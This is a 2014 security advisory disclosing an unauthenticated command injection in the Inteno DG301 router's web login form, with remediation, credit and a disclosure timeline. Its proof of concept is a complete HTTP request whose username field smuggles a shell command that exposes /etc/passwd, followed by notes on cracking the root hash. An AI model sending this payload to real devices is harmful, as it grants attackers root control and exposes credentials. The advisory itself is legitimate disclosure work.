1. Background
According to the vendor, Inteno DG301 is a high-end Multi-WAN
residential gateway with advanced router and bridge functions.
2. Summary
Inteno DG301 Powered by LuCI Trunk (inteno-1.0.34) and OpenWrt Backfire
10.03.1-RC6 is vulnerable to command injection, which can be exploited
directly from the login form on the web interface.
The vulnerability could be exploited by unauthenticated attackers.
Successful exploitation would allow attackers to execute arbitrary
commands with root privileges.
3. Affected Products
DG301 Powered by LuCI Trunk (inteno-1.0.34) and OpenWrt Backfire
10.03.1-RC6.
Other products or previous versions may also be vulnerable.
4. Vulnerability and Proof of Concept (PoC)
The login form presented on the web administration interface (username
parameter) is vulnerable to command injection, due to the application
does not validate the user input in a proper manner.
The following PoC includes a POST request that should be sent to the
device via web. The request includes a command that will copy the
contents of "/etc/passwd" to a file "test.txt" on the root web folder
were the web administration interface is published.
POST /cgi-bin/luci HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: sysauth=55f19d843ebf2de094b8a8a2acf5c3a7; sysauth=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
username=user`cp%20/etc/passwd%20/www/test.txt`&password=pass
After the request is sent, proceed to visit http://<routerIP>/test.txt.
This should display the contents of "/etc/passwd", including the root
password in encrypted (DES) form. From here, the root credentials could
be cracked in a reasonable amount of time. This attack could also be
used for enabling services (e.g. SSH), or running any other arbitrary
commands.
5. Remediation
The vendor has released a new firmware version - 1.6.8RC3.
Users are encouraged to update their devices in order to patch the
vulnerability.
6. Credit
The vulnerability was originally discovered in an Inteno DG301 device,
by Juan J. Gelfo at Encripto AS.
E-mail: post@encripto.no
Web: http://www.encripto.no
For more information about Encripto's research policy, please visit
http://www.encripto.no/forskning/
7. Timeline
24th of January 2014 - Vulnerabilities discovered by the researcher.
26th of January 2014 - Vulnerability details disclosed to the vendor.
31st of January 2013 - New firmware version launched by the vendor,
which addresses the vulnerability.
3rd of February 2014 - Public disclosure.
8. References
http://www.encripto.no/forskning/whitepapers/Inteno_DG301_advisory_feb_2014.pdf
DISCLAIMER
The material presented in this document is for educational purposes
only. Encripto AS cannot be
responsible for any loss or damage carried out by any technique
presented in this material. The reader is
the only one responsible for applying this knowledge, which is at his /
her own risk.
Any of the trademarks, service marks, collective marks, design rights,
personality rights or similar rights
that are mentioned, used or cited in this document is property of their
respective owners.
Kind regards
*Juan J. Guelfo*
Encripto AS - Information Security
Mailbox 2017, 6028 Aalesund, Norway.
Phone: +47 912 40 380 | www.encripto.no <http://www.encripto.no>
